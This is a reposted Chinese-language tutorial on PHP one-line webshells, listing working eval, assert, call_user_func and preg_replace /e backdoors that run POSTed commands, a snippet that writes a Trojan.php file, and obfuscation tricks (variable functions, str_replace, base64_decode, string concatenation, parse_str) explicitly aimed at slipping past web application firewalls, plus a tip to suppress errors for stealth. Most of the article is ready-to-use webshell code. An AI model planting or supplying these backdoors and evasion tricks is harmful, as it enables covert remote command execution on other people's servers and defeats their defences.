php一句話木馬


一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當的功能。

為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函數執行了發送的命令。

通過GET 、POST 、COOKIE這三種方式向一個網站提交數據

一句話木馬用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收傳遞的數據,並把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令

一句話木馬大多都是只有兩個部分,一個是可以執行代碼的函數部分,一個是接收數據的部分

如:

<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>
<?php
@call_user_func(assert,$_POST['a']);
?>

注:

  call_user_func這個函數可以調用其它函數

<?php 
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

注:

  在表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

 

waf是網站的防火牆,例如安全狗就是waf的一種。

waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。

想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結合起來,設計出屬於自己的一句話木馬。

想要繞過waf,PHP小技巧

變量

<?php 
$a = "eval";
$a(@$_POST['a']); 
?>

可變變量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>
str_replace
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
base64_decode
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

 字符串連接

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
parse_str
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

這些技巧每一種單獨使用都不能繞過waf,但是與 第三大點提到的函數混合起來使用,就可以順利的欺騙waf。
tips:使用一句話木馬的時候可以在函數前加”@”符,這個符號讓php語句不顯示錯誤信息,增加隱蔽性。

<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM